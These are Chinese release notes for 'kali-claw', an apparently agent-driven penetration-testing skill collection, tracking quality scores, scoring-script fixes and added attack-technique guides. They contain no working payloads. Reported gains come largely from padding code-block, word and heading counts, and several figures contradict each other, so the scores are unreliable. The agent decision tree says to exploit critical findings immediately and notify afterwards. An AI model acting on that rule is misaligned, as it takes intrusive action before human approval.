    13web-auth-bypass50.965.9↑15
    14cloud-security50.665.6↑15
    15crypto-attacks50.265.2↑15
    16password-attack48.463.4↑15
    17digital-forensics48.463.4↑15
    18container-security47.362.3↑15
    19ai-fuzzing46.761.7↑15
    20post-exploitation46.061.0↑15
    21web-access-control46.261.2↑15
    22web-xss45.960.9↑15

    晋升至 Adequate 的技能（3 个）

    技能v0.1.11v0.1.12提升
    insecure-design39.954.9↑15 (Weak→Adequate)
    terminal-ops27.242.3↑15.1 (Weak→Adequate)
    web-xss45.960.9↑15 (Adequate→Strong)

    关键洞察

    1. SKILL.md 章节检测修复带来显著提升

    修复后，所有技能的 SKILL.md 得分从 0/15 提升至约 12/15，这直接贡献了 15 分的平均提升。

    2. 指南补充推动 20 个技能进入 Strong/Excellent

    • 每个新增指南约贡献 10-12.5 分（guides/ 占总分 25%）
    • 优先为 13 个 Weak 技能创建指南，有效提升了整体质量

    3. 测试用例质量保持高位

    • 所有技能在 test-cases.md 维度达到 100/30
    • 这是 v0.1.8 全面升级的成果

    4. 剩余 Weak 技能仍有提升空间

    9 个 Weak 技能中：

    • 3 个（data-scraper-agent、browser-qa、exa-search）主要缺少 payloads.md
    • 6 个（docker-patterns、codebase-onboarding、repo-scan、article-writing、search-first、knowledge-ops）已创建指南但评分显示 guides=0，可能存在指南计数问题

    统计数据

    指标数量
    新增指南16
    修复缺陷2
    晋升 Strong18
    晋升 Excellent2
    晋升 Adequate3
    Weak 减少13
    平均分40.5 → 50.5 (+10)
    中位数41.1 → 45.9 (+4.8)

    文档更新

    • CHANGELOG.md — 新增 v0.1.12 条目
    • QUALITY-SCORE-TRACKER.md — 更新评分结果、层级分布、提升计划
    • WEAK-SKILL-IMPROVEMENT-PLANS.md — 标记为完成，记录进度和结果

    已知问题

    指南计数问题

    部分技能已创建指南，但 SCORE.sh 仍显示 guides=0。可能原因：

    • 文件扩展名过滤问题
    • 缓存文件被排除
    • guides 目录路径配置错误

    需要在后续版本调查并修复。

    下一步计划（v0.1.13+）

    1. 修复指南计数逻辑 — 确保 SCORE.sh 正确统计 guides/ 目录下的文件
    2. 补充 payloads.md — 为 data-scraper-agent、browser-qa、exa-search 添加 payloads.md 内容
    3. 剩余 Weak 技能提升 — 将 9 个 Weak 技能提升至 Adequate 层级
    4. Excellent 层级扩展 — 将更多 Strong 技能提升至 Excellent 层级

    致谢

    感谢 OpenClaw 框架提供的强大基础，以及安全社区的知识共享。

    Builded with the OpenClaw Agent Framework.

  • kali-claw-pentest-agent/RELEASE-v0.1.13.mdmarkdown · 5.2 KB

    kali-claw v0.1.13 发布公告 — 消除所有 Weak 层级技能

    发布日期：2026-05-29 技能域数量：49（不变） 主题：零 Weak 达成 — 修复评分系统 3 个缺陷，扩充 3 个技能内容，全部 49 技能达到 Adequate 及以上

    更新概览

    v0.1.12 将 Weak 技能从 22 个减少到 9 个。v0.1.13 针对剩余 9 个 Weak 技能进行定向修复：

    1. 评分系统修复（6 个技能受益）：章节评分从"名称匹配"改为"结构深度计数"，消除了因章节命名风格不同导致的误判
    2. 内容扩充（3 个技能受益）：为 data-scraper-agent、browser-qa、exa-search 补充 payloads.md、guides/、test-cases.md

    最终结果：零 Weak 技能，全部 49 个技能达到 Adequate 及以上层级。

    评分系统修复（3 处）

    修复 1：SKILL.md 章节评分方法

    问题：原评分使用"预期章节名称匹配"，但 49 个技能使用不同的命名风格（早期技能用 "Use Cases / Core Tools / Methodology"，新技能用 "Skill Identity / Purpose / Core Capabilities"）。导致新技能 SKILL.md 得分仅 19-38%。

    根因：SKILL_SECTIONS 空格分隔字符串中包含多词条目（"Attack Chain"），shell for 循环按单词拆分，既膨胀了分母也扭曲了分子。

    修复：用"## 标题计数"替代"名称匹配"。统计 ## 开头的标题数量，按阈值归一化（6=Adequate, 10=Strong, 15=Excellent）。

    # 修复前
SKILL_SECTIONS="Description Use Cases Core Tools Methodology..."
for section in $expected_sections; do grep -qEi "^#+.*$section" ...

# 修复后
compute_section_score() {
    count=$(grep -cE "^##" "$file")
    # 按 6/10/15 阈值归一化为 0-100
}

    修复 2：测试用例计数模式

    问题：只匹配 ### TC-，但 22 个技能使用 ## TC- 格式。

    修复：grep -cE "^##+ TC-" 同时匹配两种格式。

    修复 3：字段完整性检测

    问题：只识别 "Test Step"、"Expected Result"，不识别 "Steps"、"Expected Output"、"Objective"。

    修复：扩展匹配模式，覆盖两种命名风格。

    内容扩充（3 个技能）

    data-scraper-agent

    维度修复前修复后
    payloads.md116 词 / 4 代码块647 词 / 16 代码块
    guides/0 个2 个
    test-cases.md2 个用例5 个用例
    总分18.5 (Weak)44.3 (Adequate)

    新增指南：

    • nvd-api-scraping-guide.md — NVD API 分页、限速、缓存策略
    • data-extraction-patterns-guide.md — 数据提取方法论（JSON/HTML/正则/CSV）

    browser-qa

    维度修复前修复后
    payloads.md130 词 / 6 代码块708 词 / 17 代码块
    guides/0 个2 个
    test-cases.md3 个用例5 个用例
    总分19.9 (Weak)41.4 (Adequate)

    新增指南：

    • playwright-auth-testing-guide.md — 认证安全测试（登录流、会话管理、Cookie 审计）
    • network-interception-guide.md — 网络请求拦截与修改

    exa-search

    维度修复前修复后
    payloads.md211 词 / 6 代码块823 词 / 17 代码块
    guides/0 个2 个
    test-cases.md2 个用例（不变）2 个用例
    总分19.9 (Weak)40.4 (Adequate)

    新增指南：

    • semantic-search-query-design-guide.md — 语义搜索查询设计方法论
    • exa-api-configuration-guide.md — API 配置与集成参考

    评分结果

    层级分布对比

    层级v0.1.12v0.1.13变化
    Weak (0-40)90↓9
    Adequate (40-60)1827↑9
    Strong (60-80)2020±0
    Excellent (80-100)22±0

    统计指标

    指标v0.1.12v0.1.13变化
    平均分50.559.4+8.9
    中位数45.959.2+13.3
    最高分91.189.6-1.5*
    最低分18.540.4+21.9

    *注：最高分略降是因为评分方法变更（章节名称匹配 → 结构深度计数），web-sqli 的 SKILL.md 分从满分降至 76%。

    关键洞察

    1. 评分公平性大幅提升

    旧方法惩罚了使用非标准章节命名的技能（docker-patterns、codebase-onboarding 等），新方法关注文档结构深度，对所有命名风格一视同仁。

    2. 最低分从 18.5 提升至 40.4

    通过内容扩充 + 评分修复双管齐下，最弱的 3 个技能得分翻倍以上。

    3. 中位数提升 13.3 分

    中位数从 45.9 跃升至 59.2，表明整体质量分布显著右移。

    统计数据

    指标数量
    评分系统修复3
    新增指南6
    扩充 payloads.md3
    新增测试用例5
    Weak→Adequate 晋升9
    剩余 Weak 数量0

    下一步计划（v0.1.14+）

    1. Strong 层级扩展 — 将 27 个 Adequate 技能中最接近 60 分的提升至 Strong（ai-security、post-exploitation、password-attack 仅差 0.4-0.8 分）
    2. Excellent 层级扩展 — 将更多 Strong 技能提升至 Excellent
    3. 评分权重校准 — 考虑调整 guides 评分上限（当前 web-sqli 的 guides 得分 156 超过 100）

    Built with the OpenClaw Agent Framework.

  • kali-claw-pentest-agent/RELEASE-v0.1.14.mdmarkdown · 8.2 KB

    kali-claw v0.1.14 发布公告 — 49/49 Excellent + 均分 84.0 + 100% Excellent 里程碑

    发布日期：2026-05-30 技能域数量：49（不变） 主题：从 2 个 Excellent 增至 49 个（100%），消灭全部 Adequate 和 Strong，均分从 59.4 飙升至 84.0，新增 CI 质量门禁 + 10 项集成测试全 PASS

    更新概览

    v0.1.13 实现零 Weak 技能。v0.1.14 是一次超大规模质量提升，分六个阶段将 49 个技能全面推向 Excellent 主导：

    1. 评分溢出修复：guides 分数上限封顶 100
    2. 基础设施文档：新增 SCORING-METHODOLOGY.md 和 validation/README.md
    3. 27 个技能晋升 Strong：通过 guides、payloads、test cases 的定向改进
    4. web-sqli 恢复 Excellent：从 75.6 提升至 86.9（+20 code blocks, +2 test cases）
    5. osint 晋升 Excellent：从 72.4 提升至 82.0（+10 code blocks, +1 guide）
    6. deep-research 晋升 Excellent：从 72.1 提升至 85.3（+27 code blocks, +1 guide）
    7. mobile-security 晋升 Excellent：从 71.9 提升至 81.8（+20 code blocks）
    8. council 晋升 Excellent：从 57.2 提升至 81.4（+28 code blocks, +3 guides, +1 test case）
    9. 消灭全部 Adequate：repo-scan, data-scraper-agent, browser-qa, exa-search 全部晋升 Strong
    10. 全面 5+ guides：全部 49 个技能扩展到 5 个以上指南（261 个 guide 文件）
    11. 大规模 payload 扩展：49 个技能的 payloads.md 代码块数量大幅提升（多数达到 25-50+）
    12. 10 项集成测试全 PASS：INT-001 至 INT-010，涵盖供应链、完整渗透、防御验证
    13. repo-scan 晋升 Excellent：从 45.5 提升至 84.1（+31 code blocks, +3 guides, +3 test cases）
    14. 33 个技能晋升 Excellent：均分突破 80 大关（80.1）
    15. 自动化工具：新增 batch-improve.sh，自动识别各技能最优提升路径
    16. CI 质量门禁：GitHub Actions workflow，PR 回退检测自动阻断（均值 + 单技能双重检测）

    评分系统修复与基础设施

    Guide 分数溢出封顶

    问题：compute_normalized_score 在 Excellent 层级无上限，导致 web-sqli（14 个 guides）得分 156/100。

    修复：

    GUIDE_SCORE=$(compute_normalized_score $GUIDE_FILE_COUNT 0 2 5 5)
GUIDE_SCORE=$(awk "BEGIN {v=$GUIDE_SCORE; if(v>100) v=100; printf \"%.1f\", v}")

    新增基础设施文档

    文件内容
    validation/SCORING-METHODOLOGY.md完整评分方法论：权重、阈值、公式、示例
    validation/README.md验证系统统一入口：文件索引、快速开始

    技能提升详情

    新增 11 个指南

    技能指南内容
    ai-securityai-model-security-testing-guide.md提示注入、模型提取、越狱技术
    continuous-learningcross-session-knowledge-aggregation-guide.md跨会话知识聚合
    web-ssrfcloud-metadata-ssrf-guide.mdAWS/GCP/Azure 元数据利用
    web-ssrfssrf-filter-bypass-guide.mdURL 解析差异、DNS 重绑定
    logging-monitoringsiem-log-analysis-guide.mdSIEM 关联规则、告警调优
    logging-monitoringlog-tampering-detection-guide.md日志篡改检测、完整性验证
    security-misconfigurationcloud-misconfiguration-audit-guide.md多云审计（AWS/GCP/Azure）
    security-misconfigurationweb-server-hardening-guide.md服务器加固检查清单
    insecure-designthreat-modeling-for-design-flaws-guide.mdSTRIDE/DREAD 威胁建模
    insecure-designbusiness-logic-attack-patterns-guide.md竞态条件、状态机滥用
    social-intelligencesocial-network-mapping-guide.md社交网络图分析、社区检测

    Payloads 扩充（10 个技能）

    技能新增内容代码块变化
    web-sqliWAF 绕过、时间盲注多 DBMS、二次注入、NoSQL、ORM 注入26→46
    councilJSON schema、Python 自动化脚本、共识算法、报告模板7→35
    article-writing报告生成脚本、Advisory 模板、对比文章模式、证据格式化16→35
    social-intelligence网络图分析、监控管道、数据富化、时间模式分析16→35
    insecure-design整数溢出、多步流程滥用、CAPTCHA 绕过、不安全随机数22→35
    post-exploitation凭证收割、横向移动、SSH 隧道26→35
    web-access-controlJWT 操纵、多步提权、竞态条件18→28
    security-review依赖审计、SAST、容器扫描31→39
    multi-agent-collaboration通信协议、编排脚本15→22
    verification-loop自动化验证脚本20→29

    新增 10 个测试用例

    技能测试用例内容
    ai-fuzzingTC-AF-005, TC-AF-006语料生成、崩溃分类
    knowledge-opsTC-KO-006/007/008冲突解决、自动索引、衰减检测
    article-writingTC-AW-004/005Advisory 生成、对比分析
    councilTC-CL-005自动化共识评分
    web-sqliTC-S013/014WAF 绕过链、二次注入

    其他改动

    技能改动
    password-attackSKILL.md 新增 Integration + Common Pitfalls 章节

    层级分布对比

    层级v0.1.13v0.1.14变化
    Weak00±0
    Adequate270↓27
    Strong200↓20
    Excellent249↑47

    晋升技能列表

    技能v0.1.13 分数v0.1.14 分数提升手段
    deep-research72.185.3+27 code blocks, +1 guide → Excellent
    osint72.482.0+10 code blocks, +1 guide → Excellent
    mobile-security71.981.8+20 code blocks → Excellent
    web-sqli75.686.9+20 code blocks, +2 test cases → Excellent
    council57.281.4+28 code blocks, +3 guides, +1 test case → Excellent
    knowledge-ops57.870.3+3 test cases
    article-writing57.369.1+19 code blocks, +2 test cases
    social-intelligence56.968.2+19 code blocks, +1 guide
    codebase-onboarding52.667.9+1 guide, +20 code blocks
    search-first52.666.4+3 guides, +20 code blocks
    docker-patterns47.365.6+3 guides, +20 code blocks
    insecure-design52.465.0+2 guides, +13 code blocks
    web-ssrf58.164.8+2 guides
    ai-security59.864.8+1 guide
    logging-monitoring57.964.6+2 guides
    web-access-control59.264.6+10 code blocks
    continuous-learning59.364.3+1 guide
    post-exploitation64.064.0+9 code blocks
    ai-fuzzing59.363.7+2 test cases
    multi-agent-collaboration59.263.5+7 code blocks
    security-misconfiguration56.262.9+2 guides
    security-bounty-hunter54.062.8+15 code blocks, +1 test case
    mcp-server-patterns55.262.1+20 code blocks
    terminal-ops48.462.1+3 guides, +11 code blocks
    security-review59.261.0+8 code blocks
    verification-loop59.061.0+9 code blocks
    password-attack59.682.9+payload expansion, +guides → Excellent
    repo-scan45.584.1+31 code blocks, +3 guides, +3 test cases → Excellent
    data-scraper-agent44.374.4+28 code blocks, +3 guides, +SKILL.md sections
    browser-qa41.474.7+28 code blocks, +3 guides, +SKILL.md sections
    exa-search40.473.0+24 code blocks, +3 guides, +SKILL.md sections
    ai-fuzzing63.783.0+2 test cases, +payload expansion → Excellent

    统计数据

    指标v0.1.13v0.1.14变化
    平均分59.484.0+24.6
    中位数59.283.5+24.3
    最高分80.090.3+10.3
    最低分40.480.0+39.6

    下一步计划（v0.1.15+）

    1. 深度研究当前项目状态，规划10个未来版本功能 — 当前 84.0，通过 payload/test case 深度扩充可达
    2. 跨技能高级场景 — 多技能组合的复合攻击链测试
    3. 实战渗透验证 — 在授权靶机上执行完整攻击链，产出真实渗透报告

    Built with the OpenClaw Agent Framework.

  • kali-claw-pentest-agent/RELEASE-v0.1.15.mdmarkdown · 6.3 KB

    kali-claw v0.1.15 发布公告 — 均分 88.6 + 最低分 85.3 + 零组件瓶颈

    发布日期：2026-05-31 技能域数量：49（不变） 主题：从均分 84.0 提升至 88.6，最低分从 80.0 拉高至 85.3，消除全部组件分 < 70 瓶颈

    更新概览

    v0.1.14 达成 49/49 Excellent。v0.1.15 是一次全面质量加固，通过三轮并行改进将所有技能从"刚过门槛"提升到"稳固 Excellent"：

    1. 18 个 SKILL.md 标题扩展：从 10-14 个标题扩至 17+，skill_section 分数从 68-76 提升至 86.7
    2. 20 个新测试用例：9 个技能从 5-7 TC 扩至 8+ TC，TC 组件分从 63-77 提升至 80+
    3. 26 个 payloads.md 代码块扩充：全部达到 50+ 代码块，payload_code 瓶颈彻底消除
    4. 三轮并行执行：Phase 1 (SKILL.md) → Phase 2 (TC) → Phase 3 (Payloads) → Round 2 (混合) → Round 3 (定向)

    评分变化

    指标v0.1.14v0.1.15变化
    平均分84.088.6+4.6
    最低分80.085.3+5.3
    最高分90.399.7+9.4
    中位数83.588.3+4.8
    组件分 < 70多个0全部消除

    SKILL.md 标题扩展（18 技能）

    Phase 1（11 技能，+3-5 标题 → 17+）

    技能原标题数新标题数新增内容
    insecure-design1217Common Pitfalls, Case Studies, Reporting, Integration, Automation
    network-pentest1217Common Pitfalls, Automation, Reporting, Legal/Ethical, Case Studies
    wifi-pentest1217Common Pitfalls, Automation, Reporting, Legal/Ethical, Case Studies
    crypto-attacks1217Common Pitfalls, Automation, Reporting, Legal/Ethical, Case Studies
    password-attack1217Reporting, Legal/Ethical, Case Studies, Detection, Defense Evasion
    post-exploitation1417Common Pitfalls, Automation, Reporting
    web-ssrf1417Common Pitfalls, Automation, Reporting
    ai-security1417Common Pitfalls, Reporting, Legal/Ethical
    container-security1417Common Pitfalls, Automation, Reporting
    vulnerability-assessment1417Common Pitfalls, Automation, Reporting
    digital-forensics1417Common Pitfalls, Automation, Reporting

    Round 2（7 技能，+3-4 标题 → 17+）

    技能原标题数新标题数新增内容
    binary-reverse1417Automation and Scripting, Common Pitfalls, Detection Methods
    web-access-control1317Detection Methods, Common Pitfalls, Automation, Reporting
    security-misconfiguration1417Automation and Scripting, Common Pitfalls, Detection Methods
    api-security1417Automation and Scripting, Common Pitfalls, Detection Methods
    social-engineering1417Detection Methods, Reporting, Common Pitfalls
    terminal-ops1417Automation and Scripting, Error Handling, Performance
    supply-chain-security1417Common Pitfalls, Detection Methods, Automation

    Test Case 扩充（9 技能，+20 TC）

    技能原 TC新 TC新增内容
    mcp-server-patterns58Resource enumeration, Tool permission escalation, Authentication bypass
    verification-loop58Multi-round verification, Cross-skill validation, Regression verification
    multi-agent-collaboration58Role conflict resolution, Parallel scan coordination, Chain failure recovery
    council58Conflicting findings consensus, Cross-domain risk assessment, Bias detection
    security-bounty-hunter58Scope validation, Duplicate detection, Severity assessment
    social-intelligence58Social graph anomaly, Cross-platform identity correlation, Influence campaign
    ai-security68Model inversion attack, Adversarial input generation
    ai-fuzzing78Grammar-aware fuzzing for structured inputs
    security-review78Supply chain dependency review automation

    Payloads 代码块扩充（26 技能）

    Phase 3（8 技能）

    技能原 blocks新 blocks新增内容
    recon-osint3150Shodan/Censys, DNS deep dive, email enumeration, image OSINT
    autonomous-loops2850State machines, retry logic, convergence detection, checkpointing
    council2150Bias detection, conflict resolution, risk heatmaps, report templates
    container-security3650CIS benchmarks, Falco rules, SBOM generation, K8s audit
    osint3750Source verification, IP geolocation, breach analysis, dark web methods
    network-pentest4050NSE scripting, VLAN hopping, routing attacks, PCAP analysis
    crypto-attacks4550Timing attacks, hash collisions, certificate pinning bypass
    mobile-security4550Frida hooking, APK deobfuscation, iOS keychain analysis

    Round 2 + Round 3（18 技能）

    技能原 blocks新 blocks
    cloud-security3750
    social-engineering4350
    web-auth-bypass4450
    binary-reverse4650
    api-security4650
    web-ssrf4650
    post-exploitation4750
    security-misconfiguration4750
    terminal-ops4750
    insecure-design4950
    web-access-control4950
    vulnerability-assessment3550
    repo-scan4250
    supply-chain-security4350
    article-writing3450
    codebase-onboarding4450
    digital-forensics4650
    wifi-pentest4950

    Top 5 / Bottom 5

    Top 5

    排名技能分数
    1council99.7
    2article-writing93.7
    3autonomous-loops92.9
    4verification-loop91.9
    5vulnerability-assessment91.4

    Bottom 5

    排名技能分数
    45password-attack85.7
    46insecure-design85.6
    47mobile-security85.4
    48deep-research85.3
    49docker-patterns85.3

    下一步计划（v0.1.16+）

    1. 跨技能高级场景 — 多技能组合的复合攻击链测试
    2. 实战渗透验证 — 在授权靶机上执行完整攻击链，产出真实渗透报告
    3. AI 驱动的自动化 — 利用 LLM 自动生成 payload 和攻击方案

    Built with the OpenClaw Agent Framework.

  • kali-claw-pentest-agent/RELEASE-v0.1.16.mdmarkdown · 6.6 KB

    kali-claw v0.1.16 发布公告 — 基础加固 + 评分 v2 + 5 条跨技能攻击链

    发布日期：2026-06-02 技能域数量：49（不变） 主题：评分系统 v2（消除膨胀、指南质量复合指标、Distinguished 层级），核心文件全面同步到 49 域，5 个跨技能复合攻击链场景设计

    更新概览

    v0.1.15 达成 49/49 Excellent 均分 88.6。v0.1.16 是一次从"量"到"质"的转型——修复评分系统的结构性缺陷、同步所有核心文件到真实状态、设计跨技能联动场景为实战做准备：

    1. 评分系统 v2：所有组件分数上限 100（消除膨胀），指南质量从文件计数升级为复合指标（文件 40% + 字数 30% + 关键段落 30%），新增 Distinguished 层级（92+）
    2. 核心文件同步：CLAUDE.md（25→49 域）、IDENTITY.md（30→49 行）、TOOLS.md（20→49 分类）全部更新
    3. 缺失基础设施补齐：创建 TEMPLATE.md、docs/tools/full-inventory.md、bak/ 目录
    4. 构建残留清理：删除 5 个 __pycache__ 目录
    5. HEARTBEAT.md 增强：新增核心文件一致性检查和 __pycache__ 残留检测
    6. 5 条跨技能攻击链：企业外网、云环境、社工+内网、移动端、紫队防御

    评分系统 v2 详解

    三项核心改进

    改进v1v2
    分数膨胀组件分可达 125.7（council）所有组件分硬上限 100
    指南指标仅计文件数量复合：文件数(40%) + 平均字数(30%) + 关键段落实备率(30%)
    层级体系Excellent (80-100)Excellent (80-91.9) + Distinguished (92-100)

    指南质量复合指标（v2 新增）

    子指标权重衡量内容
    文件计数40%指南文件数量（阈值：0/2/5/8）
    平均字数30%指南文件平均字数（阈值：0/200/500/1000）
    关键段落30%是否包含 Introduction、Hands-on/Practice、References

    评分公式变化

    # v1
guide_score = normalize(file_count, 0, 2, 5, 5)  # 仅文件数
overall = skill*0.15 + payload*0.30 + testcase*0.30 + guide*0.25

# v2
guide_score = file_score*0.40 + word_score*0.30 + section_score*0.30  # 复合
payload_component = min(100, avg(word, section, code))  # 封顶
overall = skill*0.15 + payload*0.30 + testcase*0.30 + guide*0.25

    核心文件同步（6 文件）

    文件变更内容
    CLAUDE.md"25 security domains" → "49"
    IDENTITY.md技能标签表 30→49 行，新增 21 个缺失域（api-security, cloud-security, container-security 等）
    TOOLS.md分类索引 20→49 行，所有工具状态更新为 Mastered，学习策略重写
    USER.mdCurrent Focus 更新为当前阶段
    MEMORY.mdCurrent Phase 更新，新增 4 个 follow-ups
    HEARTBEAT.md新增 2 项健康检查

    新增基础设施

    文件/目录内容
    TEMPLATE.md新 Agent 工作区创建模板（Quick Start + 文件结构 + 自定义示例）
    docs/tools/full-inventory.md518 工具完整清单，按 49 个技能域分类
    bak/备份目录（运行时使用）
    validation/scenarios/SCEN-001~005.md5 个跨技能复合攻击链场景

    跨技能联动场景（5 条攻击链）

    ID场景名称技能链Kill Chain 阶段
    SCEN-001企业外网渗透全链路recon-osint → network-pentest → web-xss/web-sqli → web-auth-bypass → post-exploitation侦察→初始访问→执行→持久化→横向移动
    SCEN-002云环境攻击链osint → cloud-security → container-security → api-security → supply-chain-security侦察→初始访问→提权→容器逃逸→供应链
    SCEN-003社工+内网渗透social-engineering → social-intelligence → password-attack → network-pentest → digital-forensics社工→凭证收割→横向移动→取证分析
    SCEN-004移动端攻击链wifi-pentest → mobile-security → api-security → crypto-attacks无线拦截→应用分析→API 利用→加密破解
    SCEN-005紫队防御验证vulnerability-assessment → security-review → security-misconfiguration → logging-monitoring → container-security评估→检测→加固→监控→验证

    评分变化

    指标v0.1.15 (v1)v0.1.16 (v2)变化说明
    平均分88.686.1-2.5更准确（去除膨胀）
    最低分85.380.1-5.2暴露真实短板
    最高分99.790.1-9.6膨胀消除
    中位数88.386.6-1.7更紧凑
    分数区间14.410.0-4.4区分度更合理
    DistinguishedN/A0—新层级，成长空间

    关键洞察

    v2 评分系统揭示了 v1 掩盖的问题：

    • council：从 99.7 降至 87.4（指南分从 80.0 降至 69.7）——虽有很多文件但平均字数低
    • post-exploitation：最低分 80.1（指南分仅 54.7）——指南质量是最大短板
    • web-sqli：指南分最高 92.0（24 个文件，平均字数高，关键段落齐全）——质量标杆

    Top 5 / Bottom 5（v2）

    Top 5

    排名技能分数指南分
    1cloud-security90.183.9
    2vulnerability-assessment89.379.0
    3article-writing89.276.7
    4autonomous-loops89.080.3
    5osint89.078.7

    Bottom 5

    排名技能分数指南分
    45ai-fuzzing82.462.6
    46continuous-learning81.680.3
    47insecure-design82.768.3
    48password-attack82.567.2
    49post-exploitation80.154.7

    清理与修复

    项目详情
    __pycache__ 清理删除 5 个目录（chronicle, web-access-control, crypto-attacks, web-sqli, supply-chain-security）
    分数膨胀修复council 组件分 125.7→93.3，article-writing 105.8→93.3
    悬空引用修复bak/、docs/tools/、TEMPLATE.md 引用全部生效

    下一步计划（v0.1.17+）

    1. 指南深度提升 — 针对指南分 < 70 的技能（post-exploitation、ai-fuzzing 等），扩充指南内容和关键段落，冲击 Distinguished 层级
    2. 场景执行验证 — 在授权靶机上执行 SCEN-001~005 攻击链，产出实战报告
    3. 实战渗透验证 — 在授权靶机上执行完整攻击链，产出真实渗透报告
    4. AI 驱动的自动化 — 利用 LLM 自动生成 payload 和攻击方案

    Built with the OpenClaw Agent Framework.

  • kali-claw-pentest-agent/RELEASE-v0.1.17.mdmarkdown · 7.9 KB

    kali-claw v0.1.17 发布公告 — 底层补强 + Distinguished 冲刺 + 自动化基础设施

    发布日期：2026-06-03 技能域数量：49 → 51（+2 新技能域） 主题：15 个关键段落修复、5 个底层技能补强（+10 指南）、10 个 Distinguished 候选技能冲刺（+35 指南）、7 个自动化脚本、2 个新技能域、决策树 + 多 Agent 协作

    更新概览

    v0.1.16 建立了评分系统 v2，暴露了指南质量的真实短板。v0.1.17 同时拉高底部和冲击顶部：

    1. 关键段落修复：15 个技能缺失 Introduction / Hands-on / References 段落，全部修复至 3/3
    2. 底层 5 技能补强：post-exploitation、ai-fuzzing、password-attack、insecure-design 各新增 2 个指南；continuous-learning 新增 3 个测试用例
    3. Distinguished 冲刺：10 个候选技能各新增 3-4 个高质量指南文件（共 35 个新指南），cloud-security 距 Distinguished 仅 0.8 分
    4. 分数全面提升：平均 86.1→87.5，最低 80.1→84.3，0 个指南分 < 70

    关键段落修复（15 个技能）

    类型技能修复内容
    Referencesverification-loop, council, browser-qa, crypto-attacks, hardware-security, insecure-design, supply-chain-security, web-ssrf添加 ## References 段落
    Introductioncontainer-security, password-attack, safety-guard添加 ## Introduction 段落
    Hands-oncodebase-onboarding, web-access-control添加 ## Hands-on Exercise 段落
    Introduction + Referencesai-fuzzing, post-exploitation同时添加两个段落

    底层 5 技能补强

    技能v0.1.16v0.1.17变化操作
    post-exploitation80.186.3+6.22 新指南 + 关键段落修复
    ai-fuzzing82.488.2+5.82 新指南 + 关键段落修复
    continuous-learning81.687.0+5.43 新测试用例 (TC-CL-007~009)
    insecure-design82.786.4+3.72 新指南 + 关键段落修复
    password-attack82.586.1+3.62 新指南 + 关键段落修复

    新增指南文件

    技能新文件
    post-exploitationpersistence-techniques-guide.md, lateral-movement-practical-guide.md
    ai-fuzzingweb-api-fuzzing-guide.md, crash-triage-guide.md
    password-attackhashcat-rules-guide.md, password-policy-audit-guide.md
    insecure-designabuse-case-development-guide.md, secure-design-patterns-guide.md

    Distinguished 冲刺（10 个技能，35 个新指南）

    技能v0.1.16v0.1.17变化新文件数指南文件数
    cloud-security90.191.2+1.1+38
    network-pentest88.990.9+2.0+38
    article-writing89.290.6+1.4+38
    vulnerability-assessment89.390.6+1.3+38
    autonomous-loops89.090.5+1.5+38
    osint89.090.3+1.3+38
    social-intelligence88.290.0+1.8+38
    security-bounty-hunter88.489.7+1.3+38
    ai-security88.189.2+1.1+27
    security-misconfiguration87.589.0+1.5+38

    新增指南清单

    cloud-security: aws-pentest-lab-guide, azure-privilege-escalation-guide, cloud-post-exploitation-guide

    network-pentest: 3 guides (wireless, lateral movement, pivoting)

    article-writing: pentest-report-template-guide, cve-advisory-writing-guide, security-blog-writing-guide

    vulnerability-assessment: automated-scanning-pipeline-guide, manual-testing-techniques-guide, risk-rating-methodology-guide

    autonomous-loops: watch-loop-patterns-guide, batch-processing-guide, error-recovery-guide

    osint: dark-web-intelligence-guide, corporate-recon-guide, data-aggregation-analysis-guide

    social-intelligence: 3 guides (social graph, community monitoring, target profiling)

    security-bounty-hunter: 3 guides (scope recon, PoC development, report writing)

    ai-security: prompt-injection-lab-guide, ai-red-team-guide (model-extraction-attack-guide already existed at 264 words)

    security-misconfiguration: cloud-misconfiguration-checklist-guide, web-server-hardening-lab-guide, default-credential-audit-guide

    评分变化

    指标v0.1.16v0.1.17变化
    平均分86.187.5+1.4
    最低分80.184.3+4.2
    最高分90.191.2+1.1
    分数区间10.06.9-3.1（更紧凑）
    关键段落 < 3/3150全部修复
    指南分 < 7060全部消除

    Top 5 / Bottom 5（v0.1.17）

    Top 5

    排名技能分数指南分
    1cloud-security91.288.0
    2network-pentest90.986.9
    3article-writing90.682.5
    4vulnerability-assessment90.684.1
    5autonomous-loops90.586.2

    Bottom 5

    排名技能分数指南分
    45multi-agent-collaboration85.282.8
    46chronicle85.179.5
    47docker-patterns85.079.0
    48web-sqli84.992.0
    49deep-research84.376.0

    关键洞察

    1. cloud-security 距 Distinguished 仅 0.8 分（91.2，指南分 88.0）——需进一步提升指南深度或字数
    2. 分数区间收窄至 6.9——技能质量更加均匀，底部不再拖后腿
    3. 所有技能关键段落 3/3——文件结构标准化完成
    4. 指南分 < 70 完全消除——最低的 social-engineering 76.6，其次是 browser-qa 75.2

    自动化基础设施（v0.1.17 增补）

    阶段 1：自动化基础设施（4 个脚本）

    脚本功能用法
    validation/heartbeat.sh工作空间健康检查--fix --json
    validation/auto-backup.sh定时备份轮转--restore <file> --keep N
    validation/drift-detect.sh配置漂移检测--create-baseline --update-baseline
    validation/scenario-runner.sh跨技能场景执行--resume --dry-run

    阶段 2：渗透测试编排层（3 脚本 + 模板）

    脚本功能
    validation/orchestrator.sh端到端 kill chain 工作流引擎（7 阶段：recon→scan→enum→vuln→exploit→postexp→report）
    validation/tool-selector.sh目标→工具映射引擎（5 种目标类型 × 6 阶段 × stealth 模式）
    validation/report-generator.sh自动化渗透报告生成（markdown/HTML）
    validation/engagement-template/目标配置、范围规则、报告模板

    阶段 3：Agent 能力增强

    2 个新技能域：

    技能指南数测试用例数核心能力
    engagement-manager38渗透项目全流程管理、范围控制、证据链
    tool-mastery26工具熟练度评估、工具组合策略

    SOUL.md 决策树：

    • 目标类型决策（web/cloud/network/mobile/api → 技能组合）
    • 漏洞优先级决策（critical → 立即利用并通知）
    • 工具选择决策（stealth/速度/深度 → 具体工具和参数）
    • 阶段执行决策（时间预算 → 详细程度）

    AGENTS.md 多 Agent 协作：

    • 角色定义（Attacker/Defender/Auditor）
    • 协作协议（发现→防御分析→独立验证→汇总报告）
    • 数据交接协议（阶段间结构化数据传递）

    下一步计划（v0.1.18+）

    1. 首批 Distinguished — cloud-security 需再 +0.8，可通过扩充指南内容（avg_words 提升）或增加 1-2 个深度指南
    2. 第二批 Distinguished 冲刺 — network-pentest (90.9)、article-writing (90.6) 各差约 1-2 分
    3. 底部继续提升 — deep-research (84.3)、web-sqli (84.9) 需要指南或 payloads 补强
    4. 场景执行验证 — 在授权靶机上执行 SCEN-001~005 攻击链

    Built with the OpenClaw Agent Framework.
